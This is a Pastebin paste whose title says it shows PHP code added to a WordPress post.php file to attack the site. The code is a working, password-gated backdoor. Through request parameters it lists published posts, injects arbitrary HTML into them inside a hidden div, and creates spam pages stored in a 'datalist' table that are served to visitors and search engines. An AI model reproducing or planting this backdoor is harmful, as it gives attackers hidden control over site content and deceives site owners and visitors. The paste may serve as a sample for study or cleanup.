Advertisement
vuihocweb

Code added to post.php to attack wp

Nov 15th, 2016
3,569
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.19 KB | None | 0 0
  1. <?php
  2.  
  3. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
  4.     {
  5.         switch ($_REQUEST['action'])
  6.             {
  7.                 case 'get_all_links';
  8.                     foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
  9.                         {
  10.                             $data['code'] = '';
  11.  
  12.                             if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
  13.                                 {
  14.                                     $data['code'] = $_[1];
  15.                                 }
  16.  
  17.                             print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
  18.                         }
  19.                 break;
  20.  
  21.                 case 'set_id_links';
  22.                     if (isset($_REQUEST['data']))
  23.                         {
  24.                             $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
  25.  
  26.                             $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
  27.                             if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
  28.  
  29.                             if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
  30.                                 {
  31.                                     print "true";
  32.                                 }
  33.                         }
  34.                 break;
  35.  
  36.                 case 'create_page';
  37.                     if (isset($_REQUEST['remove_page']))
  38.                         {
  39.                             if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
  40.                                 {
  41.                                     print "true";
  42.                                 }
  43.                         }
  44.                     elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
  45.                         {
  46.                             if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
  47.                                 {
  48.                                     print "true";
  49.                                 }
  50.                         }
  51.                 break;
  52.  
  53.                 default: print "ERROR_WP_ACTION WP_URL_CD";
  54.             }
  55.  
  56.         die("");
  57.     }
  58.  
  59.  
  60. if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
  61.     {
  62.         $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
  63.         if ($data -> full_content)
  64.             {
  65.                 print stripslashes($data -> content);
  66.             }
  67.         else
  68.             {
  69.                 print '<!DOCTYPE html>';
  70.                 print '<html ';
  71.                 language_attributes();
  72.                 print ' class="no-js">';
  73.                 print '<head>';
  74.                 print '<title>'.stripslashes($data -> title).'</title>';
  75.                 print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
  76.                 print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
  77.                 print '<meta name="robots" content="index, follow" />';
  78.                 print '<meta charset="';
  79.                 bloginfo( 'charset' );
  80.                 print '" />';
  81.                 print '<meta name="viewport" content="width=device-width">';
  82.                 print '<link rel="profile" href="http://gmpg.org/xfn/11">';
  83.                 print '<link rel="pingback" href="';
  84.                 bloginfo( 'pingback_url' );
  85.                 print '">';
  86.                 wp_head();
  87.                 print '</head>';
  88.                 print '<body>';
  89.                 print '<div id="content" class="site-content">';
  90.                 print stripslashes($data -> content);
  91.                 get_search_form();
  92.                 get_sidebar();
  93.                 get_footer();
  94.             }
  95.  
  96.         exit;
  97.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement